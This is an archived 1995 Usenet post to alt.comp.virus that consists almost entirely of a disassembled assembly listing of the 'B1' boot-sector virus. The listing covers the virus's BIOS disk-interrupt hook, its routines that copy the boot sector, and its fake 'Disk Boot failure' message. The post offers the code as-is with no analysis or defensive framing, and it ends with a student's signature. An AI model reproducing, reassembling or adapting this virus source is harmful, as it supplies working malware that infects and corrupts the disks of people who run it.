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Text File | 1995-10-29 | 10.1 KB | 349 lines

Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm From: danishm@iia.org () Newsgroups: alt.comp.virus Subject: B1 Date: 5 Feb 1995 22:05:37 GMT Organization: International Internet Association. Lines: 330 Message-ID: <3h3i3h$v4@ankh.iia.org> NNTP-Posting-Host: iia.org X-Newsreader: TIN [version 1.2 PL2] Here is the B1 virus: PAGE 59,132 ; Disassembled using sourcer ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ ;[[ [[ ;[[ B1 [[ ;[[ [[ ;[[ Created: 8-Jan-95 [[ ;[[ Version: [[ ;[[ Code type: zero start [[ ;[[ Passes: 5 Analysis Options on: none [[ ;[[ [[ ;[[ [[ ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ data_1e equ 413h ; (0000:0413=7Fh) data_2e equ 46Dh ; (0000:046D=17E1h) data_3e equ 4Ch ; (0006:004C=0DAh) seg_a segment byte public assume cs:seg_a, ds:seg_a org 0 virus proc far start: jmp short loc_2 ; (0040) db 90h, 00h, 4Dh, 4Dh, 49h, 00h db 33h, 2Eh, 33h, 00h, 02h, 01h db 01h, 00h, 02h,0E0h, 00h, 40h db 0Bh,0F0h, 09h, 00h, 12h, 00h db 02h, 00h db 19 dup (0) db 12h, 00h, 00h, 00h, 00h, 01h db 00h,0FAh, 33h,0C0h, 8Eh,0D0h db 0BCh, 00h, 7Ch, 16h, 07h loc_2: push cs call sub_1 ; (00EF) push ax shr ax,1 ; Shift w/zeros fill dec ah jz loc_3 ; Jump if zero jmp loc_14 ; (01BA) loc_3: push bx push cx push dx push es push si push di push ds push bp mov bp,sp or ch,ch ; Zero ? jnz loc_5 ; Jump if not zero shl al,1 ; Shift w/zeros fill jc loc_4 ; Jump if carry Set call sub_6 ; (0190) call sub_4 ; (017B) jc loc_7 ; Jump if carry Set call sub_2 ; (0127) jz loc_4 ; Jump if zero call sub_6 ; (0190) call sub_3 ; (013B) jz loc_5 ; Jump if zero inc ah call sub_4 ; (017B) jc loc_5 ; Jump if carry Set call sub_5 ; (0182) call sub_6 ; (0190) inc ah call sub_4 ; (017B) loc_4: call sub_7 ; (019E) or ch,dh dec cx jnz loc_5 ; Jump if not zero call sub_6 ; (0190) call sub_4 ; (017B) jc loc_7 ; Jump if carry Set call sub_2 ; (0127) jnz loc_5 ; Jump if not zero call sub_7 ; (019E) call sub_3 ; (013B) dec byte ptr [bp+10h] jz loc_6 ; Jump if zero mov al,1 call sub_4 ; (017B) jc loc_7 ; Jump if carry Set call sub_7 ; (019E) add bx,di inc cl jmp short loc_6 ; (00BA) loc_5: call sub_7 ; (019E) loc_6: call sub_4 ; (017B) loc_7: pushf ; Push flags pop bx mov [bp+16h],bx xchg ax,[bp+10h] shr ah,1 ; Shift w/zeros fill jnc loc_9 ; Jump if carry=0 xor ax,ax ; Zero register mov ds,ax mov ax,ds:data_2e ; (0000:046D=17E1h) and ax,178Fh jnz loc_9 ; Jump if not zero call sub_6 ; (0190) loc_8: push ax call sub_4 ; (017B) xor cx,0FFC0h nop ;*ASM fixup - sign extn byte shl ax,1 ; Shift w/zeros fill pop ax jnc loc_8 ; Jump if carry=0 loc_9: pop bp pop ds pop di pop si pop es pop dx pop cx pop bx pop ax iret ; Interrupt return virus endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_1 proc near mov bx,44h mov dx,80h mov si,data_1e ; (0000:0413=7Fh) xor di,di ; Zero register mov ds,di dec word ptr [si] lodsw ; String [si] to ax pop si mov cl,6 shl ax,cl ; Shift w/zeros fill mov es,ax sub si,bx push si push ax mov ax,1AEh push ax push cs push si push cs pop ds call sub_5 ; (0182) mov ds,cx mov si,data_3e ; (0006:004C=0DAh) mov cl,2 rep movsw ; Rep when cx >0 Mov [si] to es:[di] mov [si-4],bx mov [si-2],es pop bx pop es retf ; Return far sub_1 endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_2 proc near cld ; Clear direction push cs pop ds xor si,si ; Zero register mov di,bx mov cl,40h ; '@' push si push di add si,cx add di,cx repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] pop di pop si retn sub_2 endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_3 proc near push ax xor dh,dh ; Zero register test dl,80h jz loc_10 ; Jump if zero mov cx,11h jmp short loc_11 ; (0175) loc_10: mov ax,[di+11h] mov cl,4 shr ax,cl ; Shift w/zeros fill mov cx,ax mov ax,[di+16h] shl ax,1 ; Shift w/zeros fill jc loc_12 ; Jump if carry Set add ax,cx jc loc_12 ; Jump if carry Set xor cx,cx ; Zero register cmp ah,[di+18h] jae loc_12 ; Jump if above or = div byte ptr [di+18h] ; al,ah rem = ax/data xchg cl,ah cmp ah,[di+1Ah] jae loc_12 ; Jump if above or = div byte ptr [di+1Ah] ; al,ah rem = ax/data mov ch,al mov dh,ah inc cx loc_11: pop ax retn loc_12: xor cx,cx ; Zero register jmp short loc_11 ; (0175) sub_3 endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_4 proc near pushf ; Push flags call dword ptr cs:[1BCh] ; (7379:01BC=0D79h) retn sub_4 endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_5 proc near cld ; Clear direction movsw ; Mov [si] to es:[di] mov cx,17Ch add si,3Eh add di,3Eh rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_5 endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_6 proc near push cs mov ax,200h mov bx,ax xor cx,cx ; Zero register xor dh,dh ; Zero register inc cx inc ax pop es retn sub_6 endp ;__________________________________________________________________________ ; SUBROUTINE ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ sub_7 proc near mov ax,[bp+10h] mov bx,[bp+0Eh] mov cx,[bp+0Ch] mov dx,[bp+0Ah] mov es,[bp+8] retn sub_7 endp db 41h ; Inc cx ? loc_13: mov ax,201h int 13h ; Disk dl=drive a ah=func 02h ; read sectors to memory es:bx xor dl,80h jz loc_13 ; Jump if zero retf ; Return far loc_14: pop ax ;* jmp far ptr loc_1 ;*(000A:0D79) db 0EAh, 79h, 0Dh, 0Ah, 00h db 0Dh, 0Ah, 'Disk Boot failure', 0Dh db 0Ah, 0 db 'IBMBIO COMIBMDOS COM' db 18 dup (0) db 55h,0AAh seg_a ends end start ls virus.asm ls virus.asm -- Eric "Mad Dog" Kilby maddog@ccs.neu.edu The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu Student at the Northeatstern University College of Computer Science "I Can't Believe It's Not Butter"